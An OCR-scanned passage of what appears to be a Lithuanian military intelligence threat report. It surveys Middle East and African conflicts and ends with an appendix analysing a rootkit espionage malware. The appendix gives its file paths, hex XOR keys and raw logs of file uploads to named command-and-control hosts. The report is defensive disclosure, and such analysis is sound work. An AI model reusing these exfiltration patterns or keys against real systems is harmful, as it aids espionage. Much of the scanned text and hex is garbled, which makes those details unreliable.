ir tarptautinés bendruomenés derybos dél Teherano branduolinés programos. 2013 m.
pasiektas proverZzis, kuomet Iranui ir Vakary valstybéms pavyko pasiekti laikinajj
susitarimg dél programos plétros jSaldymo, bet deryby dél galutinio susitarimo procesas
greiCiausiai bus ilgas ir sunkus.

¥ *},rj e {v

Vidurio Rytai ir Siaurés Afrika

Egipte po prezidento islamisto nuvertimo naujuoju Salies lyderiu greiciausiai
taps buves kariuomenés vadas Abdelis Fattahas al Sisis, bet stabilumo tikimybé maZza:
didéja radikaliy grupuociy aktyvumas, daugéja iSpuoliy Sinajaus pusiasalyje, visuomené
susiskaldZiusi, o ekonomika palaikoma tik Arabijos pusiasalio monarchijy teikiama
parama. Situacija nestabili ir toliau prastéja Libijoje, kur silpnai centrinei vyriausybei
nepavaldZios sukarintos grupuotés kontroliuoja periferines teritorijas, klesti ginkly
kontrabanda ir savivalé.

Vidurio Ryty regione didéja ,Al Qaedos“ ideologija remianciy grupuociy
aktyvumas. Grupuotés naudojasi krizinémis situacijomis savo jtakai didinti, skleisdamos
propaganda ir mégindamos radikalizuoti visuomenes. Sirijoje veikianc¢iose teroristinése
grupuotése daugéja iS Europos valstybiy atvykstanciy radikaliy musulmony. ,Al Qaedos”
ideologija remianciy teroristiniy grupuociy aktyvumas politiniu, ekonominiu ir
socialiniu atzvilgu nestabiliose musulmoniSkose valstybése kelia globalaus terorizmo
pavojy tarptautinei bendruomenei.

Konflikty regionai Afrikoje

Atsizvelgiant | tai, kad 2013 m. Lietuvos kariai dalyvavo ES jury kovos su
piratavimu operacijoje Afrikos KySulyje ir ES karinéje mokymo misijoje Malyje, AOTD
stebéjo Siuose regionuose vykstancius procesus, taip pat kreipé démesj i naujai kylancias

s

Afrikos Kysulio ir Sahelio regionas - esamy ir potencialiu konflikty zona
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krizes regionuose, kur potencialiai gali buti dislokuotos tarptautinés pajégos.

Afrikos KySulio regione nestabilumo Zidiniu iSlieka Somalis, kuriame Afrikos
kariy pajégos kartu su ES rengiama Somalio kariuomene baigia iSstumti radikalig
islamistine ,Al Shabaab“ grupuote iS miesty, bet Si iSlieka pajégi rengti asimetrines
atakas sostinéje Mogadise ir kelia teroristiniy iSpuoliy grésme kaimyninéms Salims.

Piratavimo grésmeé tarptautinés laivybos saugumui Afrikos KySulio regione
pastaruosius kelerius metus labai sumaZzéjo dél ginkluoty apsaugos grupiy naudojimo
laivuose, ES ir NATO Kkariniy laivy patruliavimo. Kita vertus, piratavimo, ginkluoty
apipléSimy rizika padidéjo vakarinéje Afrikos pakrantéje, Gvinéjos jlankoje, kur
daugiausiai veikia ginkluotos grupés is Nigerijos.

Po 2013 m. Pranciizijos operacijos Malyje saugumo krizé suvaldyta, bet Siaurés
Malyje ir bendrai Sahelio regione islieka radikaliy grupiy iSpuoliy tikimybé.

Tarptautiné bendruomené buvo priversta reaguoti | 2013 m. Centrinés Afrikos
Respublikoje (CAR) kilusig krize. Po kova sukiléliy ivykdyto perversmo saugumo
situacija CAR smarkiai pablogéjo, silpnai pereinamajai vyriausybei nesugebant jvesti
tvarkos. Ginkluoty grupiy vykdomi Zudymai ir pléSimai paskatino gyventojy kersSto
atakas, tai iSaugo j tarpbendruomeninj susiprieSinimg tarp krikSc€ioniy ir musulmonuy.
ISplites smurtas, humanitariné Kkrizé ir de facto Salies pasidalijimas kelia nestabilumo
visame regione rizikg. Siekdama wuZkirsti kelig valstybés Zlugimui, tarptautiné
bendruomené jvedé karines pajégas, kurioms logistine paramg 2014 m. teiké ir Lietuva.

Virselio vaizdiné medziaga panaudota i$: http://desktopiphonewallpaper.com/world-globe-map-picture-hd/


http://desktopiphonewallpaper.com/world-globe-map-picture-hd/

23

Priedas

Kenkéjiska, Snipinéjimui skirta programiné jranga - ROOTKIT tipo virusas. Tai
2012 m. AOTD aptiktos, istirtos ir 2012 m. AOTD ataskaitoje pateiktos Snipinéjimo
programos naujesne versija.

C:\Documents and Settings\USER\Application Data\Help\system32

e

MName Size Date modified Date created Type

£ isuninst.bin 2048 KB 11/21/2010 5:24 AM - 11/21/2010 5:24 AM VLC redia file (bi...
£ mips.bin 12KB 11/21/2010 5:24 AM  11/21/2010 5:24 AM VLC redia file (.bi...
%) msdatsnd.ocx 5T4 KB 8/4,2004 3:00 PM 8/4,/2004 3:00 PM ActiveX control

| %] msinet32uoc 157 KB 8/4/2004 3:00 PM 8/4/2004 3:00 PM ActiveX control

|| pdtS.tmp 475KB  2/27/2001210:36 AM  10/5/2010 8:11 AM TMP File

[ | puemS.tmp KB 2/27/201210:36 AM  10/4/2010 6:36 PM TMP File

[ tapi32d.exe 478 KB 10/11/2010 9:09 AM  10/11/2010 9:09 AM Application

2013 mety versija

Sis virusas instaliuojamas i$ failo install Win32.exe. Tac¢iau j kompiuterj is failas
patenka pavadintas kitais pavadinimais, panaSiais j jau egzistuojancius ,Windows"
operacinéje sistemoje. Siuo atveju j kompiuterj pateko uzkratas su originaliu , Windows"
operacinéje sistemos charmap.exe failu, kurio turinys modifikuotas ir jo viduje yra
kenkéjiskas kodas. Instaliacijos metu j sistemg jrasomi valdikliai (rkng.sys ir fdisk.sys).
Taip pat sukuriama paslépta ir kriptuota NTFS particija, kuri ,Windows" operacinéje
sistemoje matoma kaip atskiras failas. Dazniausiai paslépta NTFS particija atidaroma
servisu, kurio pavadinimas Ultra3. Sioje NTFS particijoje yra saugomi viruso moduliai ir
surinkta informacija. Sios particijos kriptavimui naudojamas CAST-128 algoritmas. Jei
uzkréstas kompiuteris jjungtas, virusas naudoja particijas (daZniausiai naudojamos dvi
particijos RAM ir HDD laikmenose), prie kuriy turinj galima pasiekti \\.\Hd1\ ar
\\.\Hd2\. Atkreiptinas démesys, kad prie Sio resurso galima prieiti ne su visomis faily
narSyklémis. Particijy dydis gali siekti net 100 MB.

Viruso surinkta informacija, kaip ir senesnéje versijoje, Sifruojama XOR
raktais:

HEX

644D 33/ 75|75|34 6R|37 46 77|34 73 6R|6E 62 3|77 6C 44|71 65 74|34|46 37|4A|73|75/55|69 34|6D|35 43|6D|6E 78|6C|31 70|7A|76/45|36|61 73|38|30 €362 |4C €E|6D|TA 3534|6373
35/4C|64 6E 34|72 €3/33|64 €F 35/4C 36 ©7/73 393233 4B 4C|33 34 /78|32 €6 3563 76 430 €6 €B|3¢6 €3 31|61 30 73|00

ASCII

dM(3|uju|d(]|7|F|w|8|3|]j|n|blc|w(1|Dig|e(t|d|F|7|J yju/Ui4ms5 ImnnxllpzxIéeasB0chhnmnzbsdcs
5|L|d|n|4|r|i(3|d|o|5|L|6|g|a(%|2|3|H|L(3|4|x|2(£|5|c|v(d|0|E|k|(6|c|l|a|0|a

HEX

7D 14 /1£ 19 2zC|5B|30 BC|28|EC CB 44|F1 D3 19|3A 3C 17|99/ 7E 01|E5 F3 90 AB 25 0Z £5/54 F5 A5 14|FZ 81 R4|Bl 93 96|CE 74 7Z|Z1 AF 5Z|0C 44 A3 08 EZ 4F CD/0B 10 1C AF|5B DE 16
6C 07 4F|74 57 2B|12 56 3D |36 3E 0Z B3 EB EZ B1 6B 3F 45 02|09 39 20|02 70 A4|34 08 OC|5R 33 23|63 3E F4 FF 7E 64 1B 3E 26

ASCII


file:\\.\Hd1\
file:\\.\Hd2\
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2013 mety versija aptinkama Sioje vietoje: C:\WINDOWS\ $NtUninstallbasecsq$

Mame Size Date modified Date created Type

SPUNINST 3/28/2013 223 PM 8/4/2004 3:00 PM File folder
87 acpivt.exe 370 KB 1/18/2013 8:06 AM  1/18/2013 8:06 AM Application
57 charmap.exe 152 KB 1/28/201310:21 AM  11/6/2012 9:44 AM Application
£, dtp.bin 429KB  7/8/2013 9:32 AM 2/27/2012 10:37 AM VLC media file (.bi...
£, gstat.bin 13 KB  4/10/20131:55PM 11/28/2012 9:50 AM VLC media file (.bi...
£ gstat32.bin 4KB 5/10/2013 220 PM 11/28/2012 9:50 AM VLC media file (.bi...
|| mtmen.sdb 513 KB 4/14/2008 5:42 AM B/4/2004 2:00 PM SDE File
|| mtmen_sdb 927 KB  4/9/201310:35 AM  11/28/2012 9:49 AM SDE File
|| mtmen32.sdb 80 KB 4/14/2008 5:42 AM  8/4/2004 3:00 PM SDE File
£ scmp.bin 52KB  7/8/201311:37 AM  2/27/2012 10:37 AM VLC media file (.bi...
577 systmon.exe 39KB 7/5/2012 2:36 PM 1/5/2012 2:36 PM Application
£, ucmp.bin 47 KB 7/8/201311:37 AM  2/27/2012 10:38 AM VLC media file (.bi...
%) winview.ocx 3KB 7/5/2012 2:36 PM 1/5/2012 2:36 PM ActiveX control

C:\WINDOWS\$NtUninstallbasecsq$\SPUNINST\ Temp

-

Mame Size Date modified Date created Type
6D746D6FEE2ET 36462 XFF.tmp 18 KB 4/9/201310:35 AM 4/9/201310:35 AM TMP File
60746D6F6E33322E736462¢FF.tmp 3KB 4/10/20131:55PM 471072013 1:55 PM TMP File

Funkcionalumas ir veikimas

Po sékmingo viruso jdiegimo, virusas pirmiausia susisiekia su komunikacijy ir
kontrolés serveriais (C&C), kuriy pavadinimai yra jrasyti j viruso programinj koda.
Dazniausiai buina jrasyti trys skirtingi komunikacijy ir kontrolés serveriai. Tai padaryta
saugumo ir stabilumo sumetimais. Véliau surenkama techniné informacija apie
kompiuterj, vartotojus ir tinkly struktiirg. Véliau viruso moduliai i§ komunikacijy ir
kontrolés serveriy gauna komanda, kokio pobudzio informacijg rinkti. Jei reikia,
atsiunc¢iami papildomi moduliai ir pradedama rinkti informacija. Surinkus nustatyta
kiekj informacijos, virusas jungiasi prie komunikacijy ir kontrolés serveriy. Pavyzdyje
matyti, kad susijungimai sékmingi, bet siunc¢iamas failas neatitinka nustatyty parametry
ir saugumo sumetimais nepriimamas j C&C.

12:20:24 BEG>AM:0(20/180) FSess:1 24hRelnit:1440(min), CmdMode:0, FCon:06:36:42
09/04 LCon:06:36:42 09/04

12:20:24 3272: Connect euland.freevar.com type(0)... OK

12:20:24 3272: GET /A/pub.txt



25

12:20:25 3272: Http status: 200

12:20:25 3272:recv 11806/11806

12:20:25 DownLoad 1 command(s)

12:20:25 3280: Connect euland.freevar.com type(0)... OK

12:20:25 3280: GET /A/1/1185b547296d16a71c0

12:20:25 3280: Http status: 200

12:20:25 3280: File contain command is too big or corrupt 1413372195 B
12:20:26 3292: Connect communityeu.xp3.biz type(0)... OK

12:20:26 3292: GET /A/pub.txt

12:20:29 3292: Http status: 200

12:20:29 3292:recv 11806/11806

12:20:29 DownLoad 1 command(s)

12:20:29 3316: Connect communityeu.xp3.biz type(0)... OK

12:20:29 3316: GET /A/1/1185b547296d16a71c0

12:20:31 3316: Http status: 200

12:20:31 3316: File contain command is too big or corrupt 1413372195 B
12:20:31 3312: Connect eu-sciffi.99k.org type(0)... OK

12:20:31 3312: GET /A/pub.txt

12:20:34 3312: Http status: 200

12:20:34 3312:recv 1/1

12:20:34 DownLoad 1 command(s)

12:20:34 3344: Connect eu-sciffi.99k.org type(0)... OK

12:20:34 3344: GET /A/1/1185b547296d16a71c0

12:20:35 3344: Http status: 200

12:20:35 3344: File contain command is too big or corrupt 1450924843 B
12:20:36 3348: Connect euland.freevar.com type(0)... OK

12:20:36 3348: GET /A/77568289

12:20:39 3348: Http status: 200

12:20:39 3348: File contain command is too big or corrupt 1413372195 B
12:20:39 924: Connect communityeu.xp3.biz type(0)... OK

12:20:39924: GET /A/77568289

12:20:43 924: Http status: 200

12:20:43 924: File contain command is too big or corrupt 1413372195 B
12:20:43 488: Connect eu-sciffi.99k.org type(0)... OK

12:20:43 488: GET /A/77568289

12:20:43 488: Http status: 200

12:20:43 488: Command for all

12:20:43 488: recv 343 /343

12:20:43 Command 1d:301741812015005424(129597122593590000)

Po kurio laiko pavyksta iSsiysti kriptuota faila mtmon.sdb su surinkta informacija:

14:56:40 UpLoad: http upload 1 file(s).
14:56:40 1400: Connect pressforum.serveblog.net type(0)... OK
14:56:40 1400: GET test file /COUNT/pub.html

14:56:41 1400: POST /COUNT/2/56550495915850677669393816180102550

14:56:41 1400: C:\WINDOWS\$NtUninstallbasecsg$\mtmon.sdb 1614[B]
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14:56:45 1400: Http Status:200
14:56:45 END>AM:1(20/180) FSess:0 :FCon:08:15:13 28/01 LCon:12:56:45 28/01

Iki 2012 m. gruodZio ménesio naudojamas dll modulis ktdic.dll komunikacijoms:

09:48:15 Parent:C:\Program Files\Internet Explorer\iexplore.exe

09:48:15 ver 3.1.7.0dbg dll K:0 PID:4012, C:\WINDOWS\system32\ktdic.dll,
hostID:1185b547296d16a7(1262614587789612711)

09:48:15 C:\WINDOWS\$NtUninstallbasecsq$,
Temp:C:\WINDOWS\$NtUninstallbasecsq$\SPUNINST\Temp

09:48:15 REG:SOFTWARE\Classes\Microsoft.FreeThreadedXMLDOM.1.1
09:48:15 ModuleStart: 09:47:55

Atsiradus Kklaidai, aktyvuojama komanda 1D:302644992409075296 ir
aktyvuojamas C:\WINDOWS\$NtUninstallbasecsq$\pcmon.exe modulis, Kkuris
surenka informacijg apie OS pasikeitimus ir informacija siunciama j C&C

09:48:58 554: CREATE>> TVer: FName:C:\WINDOWS\$NtUninstallbasecsq$\pcmon.exe
[409600B]

09:48:59 630: CREATE>> TVer: FName:C:\WINDOWS\$NtUninstallbasecsq$\pcmon.exe
[409600B]

09:48:59 570: COPY>> TVer:

FName:C:\WINDOWS\ $NtUninstallbasecsq$\mtmon32.sdb[0B]

09:48:59 554: CreateProcess ... OK

09:49:00 640: COPY>> TVer: FName:C:\WINDOWS\system32\vtmon.bin[0B]

09:48:59 UpLoad: http upload 2 file(s).

09:48:59 3088: Connect pressforum.serveblog.net type(0)... OK

09:48:59 3088: GET test file /MEDIA/pub.html

09:49:00 3088: POST /MEDIA/2/9732755370904171264019661634980091
09:49:00 3088: result.xml 1305[B]

09:49:01 3088: Http Status:200

09:49:01 3088: POST /MEDIA/2/39915829061734469354218873974957380
09:49:01 3088: C:\WINDOWS\$NtUninstallbasecsq$\mtmon.sdb 13774[B]
09:49:02 3088: Http Status:200

Nenustacius klaidos, visi moduliai parsiunciami j C&C.

09:50:02 2352: Connect pressforum.serveblog.net type(0)... OK

09:50:02 2352: GET test file /MEDIA/pub.html

09:50:03 2352: POST /MEDIA/2/65879734755397460394763090412536924
09:50:03 2352: C:\WINDOWS\$NtUninstallbasecsq$\gstat32.bin 308[B]
09:50:04 2352: Http Status:200

09:50:04 2352: POST /MEDIA/2/20378922064520849283255577289731333
09:50:04 2352: result.xml 1300[B]

09:50:05 2352: Http Status:200
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09:50:05 2352: POST /MEDIA/2/35141540366635366279983074776441922
09:50:05 2352: C:\WINDOWS\system32\vtmon.bin 2680[B]

09:50:06 2352: Http Status:200

09:50:06 2352: POST /MEDIA/2/65350540857281790130410388208973821
09:50:06 2352: C:\WINDOWS\$NtUninstallbasecsq$\mtmon32.sdb 649[B]
09:50:07 2352: Http Status:200

09:50:07 2352: POST /MEDIA/2/2701628068243318703775296992933440
09:50:07 2352: C:\WINDOWS\$NtUninstallbasecsq$\mtmon.sdb 12455[B]
09:50:08 2352: Http Status:200

Toliau renkama informacija apie sistema,
acpivt.exe - winrar komandinés eilutés modulis.

08:07:20 SPKPC1019062: Pipe server thread start

08:21:06 688: CREATE>> TVer: FName:cmd.exe /c acpivt.exe a -ta201206 -hpass123
spuninst\fsca.tmp c:\windows\minidump\*.* /con [0B]

08:21:06 688: CreateProcess ... OK

08:21:06 688: Answer file size:101B

ISanalizavus surinktg informacija apie sistemg aktyvuojami papildomi moduliai.

08:33:36 59c: CREATE>> TVer: FName:cmd.exe /c msmim32.exe > spuninst\msmim.bin
/con [0B]

08:33:36 59c: CreateProcess ... OK

08:33:37 440: COPY>> TVer:

FName:C:\WINDOWS\ $NtUninstallbasecsq$\SPUNINST\msmim.bin[0B]

08:48:36 594: CREATE>> TVer:
FName:C:\WINDOWS\$NtUninstallbasecsq$\mspd32.exe [96256B]
08:48:37 594: CreateProcess ... OK

14:23:18 578: COPY>> TVer:
FName:C:\WINDOWS\ $NtUninstallbasecsq$\SPUNINST\mfc42101.pdb[0B]

Véliau komunikacijoms pradedamas naudoti kitas dll modulis msvcp60.dll.

13:39:15 ver 3.1.7.6e dbg dll K:0 PID:3860, \??\C:\WINDOWS\system32\msvcp60.dll,
hostID:1185b547296d16a7(1262614587789612711)

13:39:15 C:\WINDOWS\$NtUninstallbasecsq$,
Temp:C:\WINDOWS\$NtUninstallbasecsq$\SPUNINST\ Temp

13:39:15 REG:SOFTWARE\Classes\Microsoft. TSHOOTCtrl.1

Sis virusas 50 % savo resursy ir moduliy skiria rinkti informacija apie
kompiuterio vartotoja, kiti 50 % skirti stebéti pacios Snipinéjimo programinés
jirangos ir operacinés sistemos bei tinkly veikla.



